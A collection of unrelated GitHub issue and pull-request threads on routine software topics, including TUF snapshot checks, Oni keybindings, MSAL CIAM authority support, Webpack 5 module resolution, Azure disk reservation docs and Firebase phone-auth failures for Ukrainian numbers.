when loading local snapshot, we know the data has at some point been trusted (signatures have been checked): it does not need to match now
if there is no local snapshot and we're updating from remote, the remote data must match meta hashes in timestamp
if there is a local snapshot and we're updating from remote, the remote data must match meta hashes in timestamp

I will wait with the implementation of this pr until there is a prototype for #1444 which will make creating a test
for this use case easier.
@jku is already working on it as he shared in his comment under this issue: https://github.com/theupdateframework/python-tuf/issues/1444#issuecomment-911843113


Try building via binderbot

Showed this off briefly at the EWG today (9/26/2022).
This PR renders all the notebooks on a binder service rather than directly on GitHub actions.

Install binderbot in the python environment on GitHub Actions
Use binderbot to farm out the execution of all notebooks to an external Binder service
The execution environment on that Binder service uses the environment.yml file on the main branch of this repo.
Once all notebooks are executed on the Binder service, they are downloaded back to GitHub Actions with all their output.
The jupyter-book build process then takes over and creates the rendered book
set execute_notebooks: 'off' in the jupyter-book config file since the notebooks are already executed.

Latest pushes here use a more bare-bones conda environment on GitHub Actions that includes just enough to call binderbot and call jupyter-book build.
With this approach, there's no need to create a full conda environment with all the science packages since we don't execute any notebook code.

I'll leave this open for demo purposes for now, but once #339 is merged there will be a much simpler way to call binderbot.

This is obsolete. I'll open a new PR that demos running the build via binderbot using the updated Cookbook infrastructure.


docs: Remove link to 16.04, which can be confusing.

The instructions do not just apply to 16.04; the block below describes
the settings, which are correct for all relevant Ubuntu versions.

lgtm; feel free to merge and backport to 4.x once CI passes.


Incorrect compilation of media queries

Hello
Excellent grid, thanks!
Incorrectly compiled styles, using media queries max-width.
Used Prepros (prepros.io)
What is the problem?

Issue moved to at-import/breakpoint #161 via ZenHub.io

Whoops, sorry, didn't meant to move this. I believe this is related to #218


fix CSR version

fix for CSR generated using a pre-1.0.2 OpenSSL with a client that doesn't properly specify the CSR version. See https://community.letsencrypt.org/t/openssl-bug-information/19591 (Acme::Client::Error::Malformed)
fix taken from https://github.com/certbot/certbot/pull/2529/files
https://community.letsencrypt.org/t/openssl-bug-information/19591

bump version pls


Layered images

Prototype of layered images, as described in #148.

Won't try to fix unit tests just yet.

In general the implementation of the layared images looks good to me.
The unit test of the export function is broken (the mocking functions need to be adjusted) but I can do it once the patch is merged.

I'll try if I can fix it (mostly so I understand how it works).

I've highlighted a couple of points that can be easily fixed. Once address, we can merge it and iterate.

Thanks for taking the time to review, I'll change the three easy ones and explaine(d) the last question.

Committed. I forgot to mention to add a proper entry in the CHANGELOG file, I find it extremely useful to efficiently keep track of changes and to know in which version a fix/feature has been introduced.
I'll prepare a PR for it


Ctrl-^ not work

{num}<Ctrl-^> should switch to the {num} buffer, but it does not work in oni

I can confirm that lately I have not been able to use <C-^> as well, using the lates stable version

Anything new?

What version of Oni are you currently using?
I'm able to use  <Ctrl+^> on the latest build, so its possible its working now.
If that doesn't work, the place you'd enter Oni.log.enableDebugLogging() and require("keyboard-layout").getCurrentKeyboardLanguage() is in the Chrome dev tools. You access that with <Ctrl+Shift+P> and typing Dev tools.

@CrossR I am using the latest stable and this issue persists. This is the output on a normal Oni installation:
< require("keyboard-layout").getCurrentKeyboardLanguage()
> "us [0]"

Hm, mine works on US and UK keyboards, but I've only tested on Windows.
What is the output of the verbose log?
I get the following for 3<Ctrl+^>.

Ok, it seems that <Ctrl-^> is working, but the help text makes it seem like <Ctrl-6> should work as well (that's how I used it previously).
I am fine using <Ctrl-^> if that's not a bug.
							*CTRL-^* *CTRL-6*
CTRL-^			Edit the alternate file.  Mostly the alternate file is
			the previously edited file.  This is a quick way to
			toggle between two files.  It is equivalent to ":e #",
			except that it also works when there is no file name.

			If the 'autowrite' or 'autowriteall' option is on and
			the buffer was changed, write it.
			Mostly the ^ character is positioned on the 6 key,
			pressing CTRL and 6 then gets you what we call CTRL-^.
			But on some non-US keyboards CTRL-^ is produced in
			another way.

This is my <Ctrl-6> output:

I'm a bit of a buffers newbie, but the behaviour for me (again Windows only currently, I should probably test on my Arch box) is the same behaviour as in nvim-qt and nvim in the terminal.
For other platforms though, we could have a keyboard capture issue, but it looks as if <Ctrl-6> is being picked up correctly.

@CrossR Makes sense, I've been using Oni for a while so maybe my memory on my previous workflow is not as good (which works with <C-^> now).
The pending issue now if for @meijieru to check if it's working for him and to provide his debug details.

@badosu <C-^> works. I am custommed to use .
So is it possible to enable  as well?

@meijieru It is working for me at the moment without any configuration, can you confirm if you still can't use it in Oni on the last stable release (0.3.1)?

@badosu Github conceal the . I am using 0.3.1 now, and <Ctrl-^> works for me, while  not.

Looks like this might have been "sorted" over in #2002.
We could use this ticket to track adding a default keybind, if we think its needed.
Though we could just end up adding a keybind that causes people issues, so we'd have to be careful to make sure its easily disabled....May just make more sense to add documentation around it instead?


Unable to move after installing the addon.

Whenever I enable the addon (via sv_bm_enabled), I cannot move at all except look around and go in noclip. Jumping does not even work. Disabling the addon in this state (via sv_bm_enabled) makes me run at the speed of sound, if not a little faster.
I have no other addons that modify player speeds aside from this one, so I don't know what is wrong. There are no LUA errors either. and none of the modifiers for speed are set to zero. they are the default values you set.
The only way to fix is to completely disable the addon via it's settings and restart the map. in which case re-enabling the addon will break movement again.
I'm on x64 branch if that matters.

doesnt happen to me under the same circumstances. make sure ur convars are set to their default values

Weird, setting them back to the default values via console and restarting the map seemed to have fixed it and changing them afterward stays fixed.....I don't know what happened.
I did noticed before I set them back to default was that some values had a bunch of zeros at the end.
The "inside checks time" was set to 0.800000 instead of 0.8 which I thought was strange.
There were other convars set similarly also, and I think that's what broke it before, but I don't know how they got randomly set like that, perhaps the slider in the spawnmenu settings occasionally glitch? I really don't know.


Can I use a custom SVG icon in my own admonitions?

Hello,
Thanks for your helpful plugin, I'm using it a lot.
I had a question about using custom svg files? I was trying to make a custom admonition called "decision" that would use a check mark icon:
#admonition(
  icon: "check.svg",
  color:  rgb(16, 166, 74),
  title: "Decision",
)[Oh no the icon cannot be found!]

Here is a screenshot from typst the error says "File not found".

This is a bit problematic because Typst reads the file from the path relative to the package's source file. I think I can update the package in a few days to let it accept an SVG file content instead of SVG file path.

@danieljfarrell fixed in 0.3.0


Conflict peer dependency, Could not resolve dependency

Please provide the environment you discovered this bug in.
debian 12
node 21.1.0
npm 10.2.2
git 2.39.2
Which area/package is the issue in?
 Please use @babel/plugin-transform-unicode-property-regex instead.
npm WARN deprecated<EMAIL_ADDRESS>This proposal has bee
n merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead.
npm WARN deprecated<EMAIL_ADDRESS>This proposa
l has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-async-generator-functions instead.
npm WARN deprecated<EMAIL_ADDRESS>Use your platform's native performance.now() and performance.timeOrigin.
npm WARN deprecated<EMAIL_ADDRESS>this package has been renamed to ts-evaluator. Please install ts-evaluator instead

added 2007 packages, and audited 2009 packages in 1m

221 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities

I would be willing to submit a PR to fix this issue

[ ] Yes
[ ] No

If you chose the Angular 17 pre-release template use
npm install --legacy-peer-deps


Add CIAM support for v3

Ported PR #5865 to mainline!
Add CIAM support in MSAL JS
Azure Active Directory (Azure AD) is adding support to customer identity access management (CIAM) solution that lets you create secure, customized sign-in experiences for your customer-facing apps and services. With these built-in CIAM features, Azure AD can serve as the identity provider and access management service for your customer scenarios.

The CIAM authority format is still in the process of standardization. It is determined to be split from AAD and currently supported in the below formats:

https://tenantName.ciamlogin.com/tenant
https://tenantName.ciamlogin.com

All MSALs have currently agreed to add two rules for CIAM Authority:

Add a new CIAM authority type
If the i/p CIAM  authority does not have a path, append "tenant.onmicrosoft.com" to the PATH as a temporary measure to support the STS endpoints.

The second part of this support eventually will go away.

Please also note that this is an emerging space and the endpoints may change eventually before productization. More details about CIAM can be found here: CIAM previews

Completed :

Code changes: Added AuthorityType: Ciam and the path tranformation logic stated above
Unit tests
Docs updates
Samples tested

cc @derisen This PR should have the fix for the bug you identified. I added a change and corresponding test case. Will soon create another PR for v2 which should be released next month, FYI.
Will share a private build on v2 soon for you to test.

Codecov Report

Merging #5915 (af923bb) into dev (81d34b4) will decrease coverage by 1.24%.
The diff coverage is 96.65%.

Flag
Coverage Δ

msal-angular
96.73% <96.65%> (+0.22%)
:arrow_up:

msal-browser
?

msal-common
84.46% <ø> (-0.08%)
:arrow_down:

msal-core
?

msal-node
78.17% <ø> (-5.22%)
:arrow_down:

msal-node-extensions
?

msal-react
94.24% <ø> (-0.45%)
:arrow_down:

node-token-validation
85.71% <ø> (-3.18%)
:arrow_down:

Impacted Files
Coverage Δ

lib/msal-common/src/account/AuthToken.ts
100.00% <ø> (ø)

lib/msal-common/src/account/CcsCredential.ts
100.00% <ø> (ø)

lib/msal-common/src/account/ClientInfo.ts
100.00% <ø> (ø)

lib/msal-common/src/authority/Authority.ts
91.46% <ø> (+3.56%)
:arrow_up:

lib/msal-common/src/authority/AuthorityFactory.ts
100.00% <ø> (+11.11%)
:arrow_up:

lib/msal-common/src/authority/AuthorityMetadata.ts
100.00% <ø> (ø)

lib/msal-common/src/authority/AuthorityType.ts
100.00% <ø> (ø)

...c/authority/CloudInstanceDiscoveryErrorResponse.ts
100.00% <ø> (ø)

.../msal-common/src/authority/OpenIdConfigResponse.ts
100.00% <ø> (ø)

lib/msal-common/src/authority/ProtocolMode.ts
100.00% <ø> (ø)

... and 21 more

... and 200 files with indirect coverage changes


Need for urgent changes in GitHub Actions automation

This issue defines a list of tasks that need to be performed in this repo to make sure it's ci/cd automation works long term without any issues.
It is up to maintainers to decide if it must be addressed in one or multiple PRs.
Below are 3 different sections describing 3 different important ci/cd changes.
IMPORTANT-START
For GitHub workflows that contain This workflow is centrally managed in https://github.com/asyncapi/.github/ you do not have to perform any work. These workflows were already updated through the update in .github. The only exception is the workflows related to nodejs release. More details in Upgrade Release pipeline - in case of nodejs projects section
IMPORTANT-END
Deprecation of way data is shared between steps
Every single GitHub Action workflow that has echo "::set-output name={name}::{value}" need to be updated to follow echo "{name}={value}" >> $GITHUB_OUTPUT
We do not yet know when set-output will stop working. Previous disable date was 31.05 but now then say community needs more time.
For more details read official article from GitHub
Deprecation of node12

2nd bullet point is still relevant for you even if your projects in not nodejs project

Every single workflow that uses setup-node action needs an update to follow v3 version of this action, and make sure minimum node 14 is used
Now this part is more complex. Problem with node12 is that node-based GitHub Actions were using it in majority as a runtime environment. Look for example at this action.yaml file for setup-node action v2. So the job that you have to do is go through all the workflows, and verify every single action that you use, make sure you are using the latest version that is not based on node12. I already did review a lot of actions as part of this PR so maybe you will find some actions there and can copy from me. For example action/checkout needs to be updated to v3.

Node12 end of support in action is probably September 27th.
For more details read official article from GitHub
Upgrade Release pipeline - in case of nodejs projects

ignore this section if your project is not nodejs project

You have 2 options. You can:
A. choose to switch to new release pipeline using instruction from https://github.com/asyncapi/.github/issues/205
B. stay with old release pipeline, and manually update GitHub workflows and actions used in it, you can inspire a lot from this PR https://github.com/asyncapi/.github/pull/226
I definitely recommend going with A
Workflows related to release:

.github/workflows/if-nodejs-release.yml
.github/workflows/if-nodejs-version-bump.yml
.github/workflows/bump.yml

Hi @Pakisan which way do you suggest?
Do you want to go with "A. choose to switch to new release pipeline using instruction from https://github.com/asyncapi/.github/issues/205"?
or "B. stay with old release pipeline, and manually update GitHub workflows and actions used in it, you can inspire a lot from this PR https://github.com/asyncapi/.github/pull/226"

few cents from my side, you can still do manual checks, just on a different release branch, and then have a PR with proper prefix, that after merging will trigger automation

what I mean is that in few other repos where we lack of full test suite, we also do manual tests, just before final release merge - still with automation in place


Dependency issues while using version 0.9.5 with akka 2.5.25

Hi @DennisVDB Thanks for the implementation :) There are only a few available and I'm glad you started this one.
We use akka 2.5.25 in prod and cannot upgrade to 2.6.x yet, so in order to use lithium, we need to use version 0.9.5 of it, which can work with akka 2.5.25.
I'm trying to use the instructions from readme from the same version which states :

resolvers += Resolver.bintrayRepo("swissborg", "maven")
libraryDependencies += "com.swissborg" %% "lithium" % "0.9.5"

which results in
(ssExtractDependencies) sbt.librarymanagement.ResolveException: Error downloading com.swissborg:lithium_2.13:0.9.5
[error]   Not found
[error]   Not found
[error]   not found: /Users/nikhilpatil/.ivy2/local/com.swissborg/lithium_2.13/0.9.5/ivys/ivy.xml
[error]   not found: https://repo1.maven.org/maven2/com/swissborg/lithium_2.13/0.9.5/lithium_2.13-0.9.5.pom
[error]   not found: https://dl.bintray.com/swissborg/maven/com/swissborg/lithium_2.13/0.9.5/lithium_2.13-0.9.5.pom

I also tried adding 2.12 in the artifactid part
libraryDependencies += "com.swissborg" %% "lithium_2.12" % "0.9.5"
which results in similar error, except this time it tries to download from follorwing url
https://dl.bintray.com/swissborg/maven/com/swissborg/lithium_2.12_2.13/0.9.5/lithium_2.12_2.13-0.9.5.pom
I can see that the artifacts exists at https://repo.jfrog.org/artifactory/libs-release-bintray/com/swissborg/. I am not sure how to correctly refer to it.

Nevermind. I figurued that the suffix 2.12 or 2.13 is based on my scala version, so just had to make sure that I'm using 2.12 (which we're on anyway). Also, because we have a multi-module project, just adding a resolver didn't make it available to all modules. I had to use
resolvers in Global += Resolver.bintrayRepo("swissborg", "maven") to make it available.
Conclusion - not an issue with Lithium, just our project :)


Encountered some issues regarding implementing mmdet_ SAM and MMdet models+SAM

There is no problem running Faster R-CNN models, but running the dino model reported an error

It feels like Roi was used in Dino_ Head, but the author is not registered in config

Has anyone implemented this model? Let's talk about it

@cunning2017 Okay, we'll test it and fix

I did a quick fix on this, would you like to try it like this https://github.com/open-mmlab/playground/pull/50?

@xin-li-67 What do you mean by that?

i meet the same error that There is no problem running Faster R-CNN models, but running the dino model reported an error.

i meet the same error that There is no problem running Faster R-CNN models, but running the dino model reported an error.

Yes, you can try the modification I did in #50.

i meet the same error that There is no problem running Faster R-CNN models, but running the dino model reported an error.

Yes, you can try the modification I did in #50.

i don't know what you mean. can you explain more clearly please?  how can i modify the fllowing code?

i meet the same error that There is no problem running Faster R-CNN models, but running the dino model reported an error.

Yes, you can try the modification I did in #50.

yes,it's work now. thank you!

@xin-li-67 What should I do?

https://github.com/open-mmlab/playground/pull/50


Response headers

Hi,
I'm looking for the way to get response headers. In "Download" interface there is only:
/** The headers used by the downloader to send header information to
   * the server about a request.*/
  val headers: Map<String, String>
but it contains only request headers. I need a way to get some from response.
Thanks for any response.

@Ziejer If you are using a version of Fetch older than 2.1.0-RC6, its only possible to get the response headers if you are using the OKHttp downloader and adding an interceptor to the okhttp client.
If you are using Fetch version 2.1.0-RC6 just released, you have to create a custom HttpDownloader that extends from Downloader or one of it subclasses, and overriding the onServerResponse(request: ServerRequest, response: Response) method. The response parameter object contains the server response headers.
Example extending from the OkHttpDownloader and creating custom downloader:
import com.tonyodev.fetch2okhttp.OkHttpDownloader;

public class CustomOkHttpDownloader extends OkHttpDownloader {

        @Override
        public void onServerResponse(@NotNull ServerRequest request, @NotNull Response response) {
            //Access response headers and other information here. A header key can have multiple values.
            // Most of the time you only need to access the first one in the list
            Map<String, List<String>> responseHeaders = response.getResponseHeaders();
            List<String> valueList = responseHeaders.get("Content-Length");
            if (!valueList.isEmpty()) {
                long length = Long.parseLong(valueList.get(0));
            }
        }
    }

Set custom http downloader on Fetch like this:
  final FetchConfiguration fetchConfiguration = new FetchConfiguration.Builder(this)
                .enableRetryOnNetworkGain(true)
                .setDownloadConcurrentLimit(3)
                .setHttpDownloader(new CustomOkHttpDownloader()) // set custom downloader here
                .build();
  Fetch fetch = Fetch.Impl.getInstance(fetchConfiguration);

But it can be useful to have the response headers saved on the Download object to have the content-type information tied to the download file. To know what type of file it is.
Overriding OkHttpDownloader lets you know that header but you have to manage the relation between the download request and the headers.


Query params aren't sent with POST, PUT, or PATCH requests (android and iOS)

Describe the bug
Query params aren't sent with POST, PUT, or PATCH requests.
To Reproduce
const doPost = () => {
  const { Http } = Plugins;

  const ret = await Http.request({
    method: 'POST',
    url: 'https://example.com/my/api',
    headers: {
      'X-Fake-Header': 'Max was here',
      'Content-Type': 'application/json'
    },
    params: {
       size: 'XL'
    },
    data: {
      foo: 'bar',
      cool: true
    }
  });
}

Expected behavior
It would make sense that the request is sent with the provided query params:
POST https://example.com/my/api?size=XL

See: https://github.com/capacitor-community/http/pull/46

This is related only to the web platform @muuvmuuv

Yes, true. I didn't add that. Can you edit your title to mention "native"?

Closing since 1.0.0-alpha.0 is on npm under @capacitor-community/http@next and should fix this issue


45 add hooks for tests

Ref #39 #45

Test generation is working now in a very prototype style of way.
ToDos:

[ ] Generated file still has the __tmpl__ extenstion
[ ] 1-2 hardcoded assumptions -> aggregate it is all about & aggregate identifier
[ ] Stop the onEvent/onCommand ... hooks when the feature/context mode is set to test
[ ] Fix formatting of the payloads (the ' gets decoded to ' currently...)
[ ] Exclude generated files via .gitignore
[ ] Generate gherkin feature file from prooph feature metadata

[ ] test-scenarios fix for Windows
[ ] rename to mode: test-scenario

I started refactoring the step definitions. Step definitions should be per aggregate and not per feature. This will make steps "reusable" throughout different scenarios regarding the same aggregate.
For example to test if a car was completed or not after an update we would have two test scenarios that are identical until the then step and just the input data per scenario is different. To achieve this i want to check the decoraters of the aggregate Step definition and see if a new definition is required or if it already exists.
Payloads will be written per Feature into the new folder features/payloads/FEATURENAMEFeature.json. They are read dynamically in the setup function of the Step Definition to keep them reusable.
Example to make it more clear:
Feature: Update Car Without Production Year
  Scenario: Update Car Without Production Year
    Given Incomplete Car was added
    When Car is updated without production year
    Then car should be updated

To test that an update with production year would have a different outcome we still want the same starting point.
Feature: Update Car With Production Year
  Scenario: Update Car With Production Year
    Given Incomplete Car was added
    When Car is updated with production year
    Then car should be added to fleet

This will be possible once the refactoring is done. Ideally both scenarios are actually in the Update Car Feature, so maybe i will have a look if that is possible as well.


Show last divider works incorrectly, if the recycler view has more than one column

The last divider is actually shown permanently, if the recycler view initialized with >1 columns (table-like).

I created a pull request for this issue, not sure if that fits exactly into how the architecture of the project was designed. I assume this approach might get a bit bloated when support for other layout manager is needed.

@tobibo
Thanks for PR.
It is really nice one, but please let me think a bit since supporting GridLayoutManger does not fit the current functionality. I feel I should create new ItemDecoration class for GridLayoutManager.

:+1: for a support of GridLayoutManager, it's the only thing missing in your already great library ;)

Yeah I do agree. Let me see if u like can come up with the separate divider
class implementation, shouldn't be too hard either.
On 15 Jan 2016 12:47 AM, "JulienDev"<EMAIL_ADDRESS>wrote:

[image: :+1:] for a support of GridLayoutManager, it's the only thing
missing in your already great library ;)
—
Reply to this email directly or view it on GitHub
https://github.com/yqritc/RecyclerView-FlexibleDivider/issues/23#issuecomment-171648662
.


Alternative download source

Did you consider offering a download source for users outside of Google Play – e.g. at F-Droid or by attaching the APK to Github Releases? Thanks in advance for doing so!

@weberdo any chance?

That's a great suggestion, thanks. I currently do not have time to manage additional store listings but I can definitely add a GitHub release.

Well, with the APK attached to releases, I can take care for the other part. And if my scanner approves, and you approve as well, I could start the process getting your app into the official F-Droid repo (disclosure: I'm one of the maintainers there).
For my repo, just the APK is needed – so no complications to be expected. For the official repo, if all works fine, you'd probably just watch the app show up. Only if there are build issues we'd ask for your help. And even then: we don't expect everybody to "jump on call": integration would just freeze until you find time then.
But if you agree, we could start adding your app to my repo for now – and decide everything else afterwards. So if you'd ping me again here when the APK is available, that would be much appreciated!


Webpack 5 resolution issues

Please update your package.json correctly for Webapck Resolution in mjs/esm
[0] ModuleNotFoundError: Module not found: Error: Can't resolve 'graphql/language/visitor' in '/Volumes/lulu_dev/ecom-web-app/node_modules/@urql/core/dist'
[0] Did you mean 'visitor.mjs'?
[0] BREAKING CHANGE: The request 'graphql/language/visitor' failed to resolve only because it was resolved as fully specified
[0] (probably because the origin is a '*.mjs' file or a '*.js' file where the package.json contains '"type": "module"').
[0] The extension in the request is mandatory for it to be fully specified.
[0] Add the extension to the request.

urql version & exchanges: latest
Steps to reproduce
build on webpack v5

I suppose this is one of these issues that goes away with javascript/auto being added back to the mix. Well given that that's unlikely to be set up by default, yes, I agree, we'll have to fix this 😅

ive patched it with the mjs javascript/auto loader trick.
Just flagging it since We recommend users don't depend on resolutions but rather report to authors :P

Yea, we'll have to double check whether there's anything else we'll now need to update 😅😅
We're fixing this here first since that's the source of the issue: https://github.com/kitten/babel-plugin-modular-graphql/pull/1
I would've thought that Webpack would actually now switch to javascript/auto automatically when a sub-module of an ESM/exports-enabled package isn't exports-enabled, since we had issues before with similar stuff, which was marked as fixed in an issue somewhere. Oh well

Apparently, the typical esm standard or whatever that we set in npm isn't quite correct or something.
I suppose it's another explicit thing webpack prefers. Dropping polyfills makes things a lot more visible.
Didn't ask too many questions about the reason the loader was removed. But I'd suppose it's "correct" or faster to be able to parse and resolve fields off the package file

I'd say it's arguably incorrect since graphql has no exports fields, hence Webpack shouldn't assume that it should be resolved the same as the package that uses it. Because that's how we get into resolution inconsistencies again depending on what package imports from it 😅
But yea anyway, doesn't help us, we'll probably issue a fix next week

Haha yep it's been inconvenient. Thank you though!


Incompatible install in (summarize your environment)

Please suggest..!!

Please see the Python 2 sunset docs for guidance.


Rearrange sidebar in wiki

Rearrange the sidebar in the wiki.
Page "Home" should be accessible all the time.

Done!


fix(native): remove refmterr from build-command

Adds a buildDev command instead which has refmterr since refmterr is only available as a devDependency!

Already resolved in #94


Please add info about Ultra Disks in this doc. Can I purchase reservations for Ultra Disks? Are there any restrictions?

Please add info about Ultra Disks in this doc. Can I purchase reservations for Ultra Disks? Are there any restrictions?

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 04d34b5e-f6fa-854d-94af-2185a9c8eedd
Version Independent ID: e0f0b873-7062-7b2a-ac05-55dca1460897
Content: Optimize costs for Azure Disk Storage with reservations - Azure Virtual Machines
Content Source: articles/virtual-machines/disks-reserved-capacity.md
Service: storage
Sub-service: disks
GitHub Login: @roygara
Microsoft Alias: rogarana

@eversonamancio
Thanks for your feedback! We will investigate and update as appropriate.

@eversonamancio
I'm going to assign this to the document author so they can take a look at it accordingly.
@roygara
Can you please check and add your comments on this doc update request as applicable.

Hi @eversonamancio This doc page is already updated regarding ultra-disks, please go through below link as you refer.
https://learn.microsoft.com/en-us/azure/virtual-machines/disks-reserved-capacity#:~:text=Discounts are applied hourly depending on the disk usage. Unused reserved capacity doesn't carry over. Azure Disk Storage reservation discounts don't apply to unmanaged disks%2C ultra disks%2C or page blob consumption.

Hi,
I appreciate it but Ultra disks rescrictions should also be mentioned in the topic Purchase Restrictions.
Obter o Outlook para Androidhttps://aka.ms/AAb9ysg

From: Saibaba Balapur Hireka @.>
Sent: Wednesday, January 25, 2023 12:31:49 AM
To: MicrosoftDocs/azure-docs @.>
Cc: eversonamancio @.>; Mention @.>
Subject: Re: [MicrosoftDocs/azure-docs] Please add info about Ultra Disks in this doc. Can I purchase reservations for Ultra Disks? Are there any restrictions? (Issue #104149)
Hi @eversonamanciohttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Feversonamancio&data=05|01||123f75f939264ebf91bc08dafe84b240|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|638102143162433104|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=p0nCTbAbbIEn4GaF0CLRnceOEw6Igw8NTk7y8%2FU7ABI%3D&reserved=0 This doc page is already updated regarding ultra-disks, please go through below link as you refer.
https://learn.microsoft.com/en-us/azure/virtual-machines/disks-reserved-capacity#:~:text=Discounts are applied hourly depending on the disk usage. Unused reserved capacity doesn't carry over. Azure Disk Storage reservation discounts don't apply to unmanaged disks%2C ultra disks%2C or page blob consumptionhttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Flearn.microsoft.com%2Fen-us%2Fazure%2Fvirtual-machines%2Fdisks-reserved-capacity%23%3A~%3Atext%3DDiscounts%2520are%2520applied%2520hourly%2520depending%2520on%2520the%2520disk%2520usage.%2520Unused%2520reserved%2520capacity%2520doesn%2527t%2520carry%2520over.%2520Azure%2520Disk%2520Storage%2520reservation%2520discounts%2520don%2527t%2520apply%2520to%2520unmanaged%2520disks%252C%2520ultra%2520disks%252C%2520or%2520page%2520blob%2520consumption&data=05|01||123f75f939264ebf91bc08dafe84b240|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|638102143162433104|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=ZqseAzp9F76oxCFsASm3Dqjr8bUD75peWi2Fb62qEQ0%3D&reserved=0.
—
Reply to this email directly, view it on GitHubhttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2FMicrosoftDocs%2Fazure-docs%2Fissues%2F104149%23issuecomment-1403051905&data=05|01||123f75f939264ebf91bc08dafe84b240|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|638102143162433104|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=zHKeyX1BRCN5rSpYJ%2Fwlc2qlQ3oJ0yfPXFBEc%2FeD%2FCI%3D&reserved=0, or unsubscribehttps://nam12.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FAFCJLVJHZCRM4FEPKLS6LADWUCNCLANCNFSM6AAAAAAUD4KHU4&data=05|01||123f75f939264ebf91bc08dafe84b240|84df9e7fe9f640afb435aaaaaaaaaaaa|1|0|638102143162433104|Unknown|TWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D|3000|||&sdata=7SQ0e4ZaNux40Hue0wHCgzrn7rekOVQhcLzdcYtKFVw%3D&reserved=0.
You are receiving this because you were mentioned.Message ID: @.***>

Hello, @eversonamancio . Thanks for bringing this to our attention, we appreciate it!
I agree with you and have updated the article to include this change. The update will be live later today.
#please-close


Icons in contact information - no response (+ icon and delete icon)

In my contact page, add an account , when you click the account ,edit pen icon then you can see + icon and delete icon, i'm not sure that is working , if i click delete icon, it is neither deleted nor when i click the + icon no reaction

@surekabpm looks ok now. Icons now work and are accurate.


Add a option to generate the renders with threads

Right now if the user wants to generate a render of the whole project it can take some time because of the graphviz render function that is really slow.
The ideal should be adding an option in the ArgumentParser that can enable the generation of those renders with threads.
[r0x0d@fedora leapp-repository]$ time dismod .

real	0m16.103s
user	0m13.795s
sys	0m4.619s

Maybe using something like this to split up the list of dependencies: https://www.delftstack.com/howto/python/python-split-list-into-chunks/

Probably something along those lines:
def test_3():
    x = 3

    final_list= lambda test_list, x: [test_list[i:i+x] for i in range(0, len(test_list), x)]

    output=final_list(test_list, x)

    return output

Probably the digraph generation is fast enough, what could be done is parsing with threads, because some codebases are large enough to take 1-2 seconds to parse.


[FirebaseAuth] Error 17006, The given sign-in provider is disabled

Description
Hello!
Today Auth stopped working. When I try to verify phone number (by calling PhoneAuthProvider.provider().verifyPhoneNumber method) I always receive error: "The given sign-in provider is disabled for this Firebase project. Enable it in the Firebase console, under the sign-in method tab of the Auth section."
Of course phone sign-in provider is enabled it in the Firebase console, and all regions are enabled for sms verification.
Actually - everything worked like a charm and we didn't make any changes, but today it suddenly started to throw the error.
One more detail we found - for US numbers it works correctly, but for UA (Ukraine) numbers - it produces the error. We have tried to add Ukraine to the list of regions for sms verification directly - no effect.
Please help, we have tried everything... It looks like a bug((

Reproducing the issue
No response
Firebase SDK Version
10.16.0
Xcode Version
15.0
Installation Method
CocoaPods
Firebase Product(s)
Authentication
Targeted Platforms
iOS
Relevant Log Output
Error Domain=FIRAuthErrorDomain Code=17006 "The given sign-in provider is disabled for this Firebase project. Enable it in the Firebase console, under the sign-in method tab of the Auth section." UserInfo={NSLocalizedDescription=The given sign-in provider is disabled for this Firebase project. Enable it in the Firebase console, under the sign-in method tab of the Auth section., FIRAuthErrorUserInfoNameKey=ERROR_OPERATION_NOT_ALLOWED}

If using Swift Package Manager, the project's Package.resolved

Expand Package.resolved snippet

Replace this line with the contents of your Package.resolved.

If using CocoaPods, the project's Podfile.lock

Expand Podfile.lock snippet

Replace this line with the contents of your Podfile.lock!

Thanks for reporting, @DmytroYashchenko. The error looks related to #11886 but it seems like verifyPhoneNumber is not included in the affected method on email enumeration protection. I also tried to reproduce the issue, but I'm not able to get the same error. Could you provide the detailed steps or MCVE for me to reproduce the issue?

@rizafran
Detailed step to reproduce is just to try to call verifyPhoneNumber with "+380931112233" number, for example. Any Ukrainian number (starts with +380) causes the error. The region of device is USA, locale - English, iOS 16.0, Xcode 15.0...

Hi everyone!
Have the same error.
It all started about 1-2 weeks ago. Authorization by phone number did not work for numbers starting with “+380”.
For example, on this service https://fir-ui-demo-84a6c.firebaseapp.com I received the error:
{
"error": {
"code": 503,
"message": "Error code: 39",
"errors": [
{
"message": "Error code: 39",
"domain": "global",
"reason": "backendError"
}
]
}
}
But at the same time if you add such a number to the test set of phone numbers, then the authorization worked well.
However, about a day ago, even this approach of using test phone numbers stopped working and now the error looks like this:
"The given sign-in provider is disabled for this Firebase project. Enable it in the Firebase console, under the sign-in method tab of the Auth section."
I understand that sending SMS may not work for some independent reason. But in this case, even test phone numbers starting with “+380” do not work at all.

I have the same issue since 14 October, and the answer from Google support ☹:

Hello Maksym.
I'm Oscar, thanks for reaching out. I'll be assisting you.
Thank you for the report. We have verified the issue and have found that there are some key points:
The issue is related to the region availability not if the service is enabled in the Firebase Console.
Services are available in nearby regions, so it is not a problem with Google data centers.
Firebase services are healthy and stable.
The problem seems to be localized in one region and for some carriers.
Given this information, there is little we can do to improve the availability. We have already reached out to report the error and we recommend that you do so as well in the local carriers.
